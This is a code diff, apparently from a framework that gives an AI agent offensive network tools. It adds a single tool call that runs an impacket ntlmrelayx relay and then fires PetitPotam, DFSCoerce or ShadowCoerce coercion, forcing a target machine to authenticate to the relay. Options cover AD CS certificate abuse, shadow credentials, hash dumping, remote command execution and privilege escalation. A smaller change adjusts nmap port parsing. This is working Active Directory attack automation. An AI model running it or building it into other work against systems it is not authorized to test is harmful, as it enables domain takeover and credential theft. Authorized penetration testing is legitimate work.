'.join(_COERCION_SCRIPTS)}" + ) + + base_path, script_name, repo_url = _COERCION_SCRIPTS[method] + script = base_path / script_name + if not script.is_file(): + raise FileNotFoundError( + f"Coercion script '{script_name}' not found at '{base_path}'. " + f"Install via: git clone {repo_url} {base_path}" + ) + + args: list[str] = [] + if username: + args.extend(["-u", username]) + if hashes: + args.extend(["-hashes", hashes]) + elif password: + args.extend(["-p", password]) + if domain: + args.extend(["-d", domain]) + + # Auto -no-pass when no creds provided (prevents interactive prompt) + if not password and not hashes: + args.append("-no-pass") + + # petitpotam/dfscoerce support -k and -dc-ip; shadowcoerce does not + if method != "shadowcoerce": + if kerberos: + args.append("-k") + if dc_ip: + args.extend(["-dc-ip", dc_ip]) + + # -pipe is petitpotam-only + if pipe and method == "petitpotam": + args.extend(["-pipe", pipe]) + + args.extend([listener, target]) + return [sys.executable, str(script), *args] + @tool_method(catch=True) async def impacket_rbcd( self, @@ -1909,118 +2269,231 @@ async def impacket_ntlmrelayx( env: Optional environment variables. input: Optional input string to pass to the command's stdin. """ - # Validation if not target and not targets_file: raise ValueError("Must provide either target or targets_file") - # Build command - no identity needed, this is a relay server - args = [] - - if target: - args.extend(["-t", target]) - - if targets_file: - args.extend(["-tf", targets_file]) - - if smb2support: - args.append("-smb2support") - - if socks: - args.append("-socks") - - if interface_ip: - args.extend(["-ip", interface_ip]) - - if smb_port is not None: - args.extend(["--smb-port", str(smb_port)]) - - if http_port: - args.extend(["--http-port", http_port]) - - if exec_command: - args.extend(["-c", exec_command]) - - if interactive: - args.append("-i") - - if lootdir: - args.extend(["-l", lootdir]) - - if output_file: - args.extend(["-of", output_file]) - - if dump_hashes: - args.append("-dh") - - # LDAP options - if escalate_user: - args.extend(["--escalate-user", escalate_user]) - - if delegate_access: - args.append("--delegate-access") - - if dump_laps: - args.append("--dump-laps") - - if dump_gmsa: - args.append("--dump-gmsa") - - if dump_adcs: - args.append("--dump-adcs") - - if no_dump: - args.append("--no-dump") - - if no_da: - args.append("--no-da") - - if no_acl: - args.append("--no-acl") - - # AD CS options - if adcs: - args.append("--adcs") - - if template: - args.extend(["--template", template]) + args = self._build_ntlmrelayx_args( + target=target, + targets_file=targets_file, + smb2support=smb2support, + socks=socks, + interface_ip=interface_ip, + smb_port=smb_port, + http_port=http_port, + exec_command=exec_command, + interactive=interactive, + lootdir=lootdir, + output_file=output_file, + dump_hashes=dump_hashes, + escalate_user=escalate_user, + delegate_access=delegate_access, + dump_laps=dump_laps, + dump_gmsa=dump_gmsa, + dump_adcs=dump_adcs, + add_computer=add_computer, + no_dump=no_dump, + no_da=no_da, + no_acl=no_acl, + adcs=adcs, + template=template, + altname=altname, + shadow_credentials=shadow_credentials, + shadow_target=shadow_target, + remove_mic=remove_mic, + no_smb_server=no_smb_server, + no_http_server=no_http_server, + no_wcf_server=no_wcf_server, + no_raw_server=no_raw_server, + ) - if altname: - args.extend(["--altname", altname]) + return await execute( + self._build_script_command("ntlmrelayx.py", args), + timeout=self.timeout, + input=input, + env=env, + ) - # Shadow Credentials options - if shadow_credentials: - args.append("--shadow-credentials") + @tool_method(catch=True) + async def impacket_ntlmrelay_attack( + self, + *, + # Relay target + target: str, + # Relay config + interface_ip: str, + smb2support: bool = True, + adcs: bool = False, + template: str | None = None, + # Other relay actions + dump_hashes: bool = False, + delegate_access: bool = False, + shadow_credentials: bool = False, + shadow_target: str | None = None, + exec_command: str | None = None, + escalate_user: str | None = None, + add_computer: str | None = None, + # Server toggles + no_smb_server: bool = False, + no_http_server: bool = False, + no_wcf_server: bool = False, + no_raw_server: bool = False, + # Coercion config + coerce_method: str = "petitpotam", + coerce_target: str, + coerce_username: str | None = None, + coerce_password: str | None = None, + coerce_domain: str | None = None, + coerce_hashes: str | None = None, + coerce_dc_ip: str | None = None, + coerce_pipe: str | None = None, + # Timing + relay_timeout: int = 120, + env: dict[str, str] | None = None, + ) -> str: + """ + Combined NTLM relay + coercion attack in a single tool call. - if shadow_target: - args.extend(["--shadow-target", shadow_target]) + Starts ntlmrelayx as a relay server, waits for it to be ready, then + fires a coercion attack (PetitPotam, DFSCoerce, or ShadowCoerce) + to force the target machine to authenticate to the relay. Monitors + relay output for success indicators and returns the combined result. - # Exploit options - if remove_mic: - args.append("--remove-mic") + This solves the sequencing problem where ntlmrelayx must be running + *before* coercion fires, which is impossible with sequential tool calls. - # Server disable options - if no_smb_server: - args.append("--no-smb-server") + Args: + target: Relay destination (URL like "http://ca/certsrv/certfnsh.asp" + or "smb://dc01"). + interface_ip: IP address to bind relay listeners on AND the address + the coercion target will authenticate back to. + smb2support: Enable SMB2 support (default True). + adcs: Enable AD CS relay attack. + template: AD CS certificate template (e.g. "DomainController"). + dump_hashes: Show encrypted hashes in console. + delegate_access: LDAP delegate access on relayed computer account. + shadow_credentials: Enable Shadow Credentials relay attack. + shadow_target: Target account for Shadow Credentials. + exec_command: Command to execute on target after relay (SMB/RPC). + escalate_user: LDAP user to escalate privileges for. + add_computer: Add computer account (format: "NAME PASSWORD"). + no_smb_server: Disable SMB listener. + no_http_server: Disable HTTP listener. + no_wcf_server: Disable WCF listener. + no_raw_server: Disable RAW listener. + coerce_method: Coercion protocol — "petitpotam", "dfscoerce", + or "shadowcoerce" (default: "petitpotam"). + coerce_target: Machine to coerce authentication from (IP or hostname). + coerce_username: Username for coercion authentication. + coerce_password: Password for coercion authentication. + coerce_domain: Domain for coercion authentication. + coerce_hashes: NTLM hashes for coercion authentication. + coerce_dc_ip: Domain controller IP for coercion. + coerce_pipe: Named pipe for PetitPotam (e.g. "efsr", "lsarpc"). + relay_timeout: Total timeout in seconds (default 120). + env: Optional environment variables for subprocesses. + """ + # Build coercion command first — validates script exists before + # starting the relay server + coerce_cmd = self._build_coercion_command( + coerce_method, + interface_ip, + coerce_target, + username=coerce_username, + password=coerce_password, + domain=coerce_domain, + hashes=coerce_hashes, + dc_ip=coerce_dc_ip, + pipe=coerce_pipe, + ) - if no_http_server: - args.append("--no-http-server") + relay_args = self._build_ntlmrelayx_args( + target=target, + smb2support=smb2support, + interface_ip=interface_ip, + adcs=adcs, + template=template, + dump_hashes=dump_hashes, + delegate_access=delegate_access, + shadow_credentials=shadow_credentials, + shadow_target=shadow_target, + exec_command=exec_command, + escalate_user=escalate_user, + add_computer=add_computer, + no_smb_server=no_smb_server, + no_http_server=no_http_server, + no_wcf_server=no_wcf_server, + no_raw_server=no_raw_server, + ) + relay_cmd = self._build_script_command("ntlmrelayx.py", relay_args) + + # Prepare environment + process_env = os.environ.copy() + if env: + process_env.update(env) + + relay_proc = await asyncio.create_subprocess_exec( + *relay_cmd, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.STDOUT, + start_new_session=True, + env=process_env, + ) - if no_wcf_server: - args.append("--no-wcf-server") + relay_output: list[str] = [] + coerce_result = "" - if no_raw_server: - args.append("--no-raw-server") + try: + # Readiness gets at most half the total budget, capped at 30s + ready_timeout = min(relay_timeout // 2, 30) - # Add computer (takes space-separated values) - if add_computer: - args.extend(["--add-computer", add_computer]) + # Wait for relay to bind its listeners + ready = await _wait_for_relay_ready( + relay_proc, relay_output, timeout=ready_timeout + ) + if not ready: + captured = "".join(relay_output) + raise RuntimeError( + f"ntlmrelayx failed to start within {ready_timeout}s.\n\n" + f"Output:\n{captured}" + ) + + # Fire coercion — the target authenticates back to our relay + logger.info( + f"Relay ready. Running {coerce_method} coercion against {coerce_target}" + ) + coerce_timeout = min(30, relay_timeout - ready_timeout) + try: + coerce_result = await execute( + coerce_cmd, timeout=coerce_timeout, env=env + ) + except (RuntimeError, TimeoutError) as exc: + coerce_result = f"[coercion error] {exc}" + logger.warning(f"Coercion failed: {exc}") + # Don't abort — relay may still capture auth from retries + # or other sources + + # Monitor relay for success with whatever time remains + remaining = max(relay_timeout - ready_timeout - coerce_timeout, 1) + success = await _wait_for_relay_result( + relay_proc, relay_output, timeout=remaining + ) - return await execute( - self._build_script_command("ntlmrelayx.py", args), - timeout=self.timeout, - input=input, - env=env, - ) + # Assemble result + full_relay = "".join(relay_output) + parts = [f"=== ntlmrelayx output ===\n{full_relay}"] + if coerce_result: + parts.append( + f"\n=== {coerce_method} coercion output ===\n{coerce_result}" + ) + if not success: + parts.append( + "\n[!] No relay success indicator detected within timeout. " + "Check output above for partial results." + ) + return "\n".join(parts) + + finally: + await _kill_relay(relay_proc) @tool_method(catch=True) async def impacket_owneredit( diff --git a/capabilities/network-ops/tools/nmap.py b/capabilities/network-ops/tools/nmap.py index d3fb6634..27f865db 100644 --- a/capabilities/network-ops/tools/nmap.py +++ b/capabilities/network-ops/tools/nmap.py @@ -41,7 +41,9 @@ async def nmap_quick_scan(self, targets: list[str]) -> str: return await self.nmap(targets, ["-F", "-T4", "--open", "-Pn"]) @tool_method(catch=True, variants=["detailed", "all"]) - async def nmap_service_scan(self, targets: list[str], ports: str | None = None) -> str: + async def nmap_service_scan( + self, targets: list[str], ports: str | None = None + ) -> str: """ Performs a detailed TCP scan to identify service versions and run default scripts. @@ -53,6 +55,7 @@ async def nmap_service_scan(self, targets: list[str], ports: str | None = None) ports: Optional ports to scan (X,Y or X-Y format). """ args = ["-sV", "-sC", "-T4", "--open", "-Pn"] - if ports: - args.extend(["-p", ports]) + cleaned_ports = ports.strip().strip("\"'") if ports else "" + if cleaned_ports: + args.extend(["-p", cleaned_ports]) return await self.nmap(targets, args)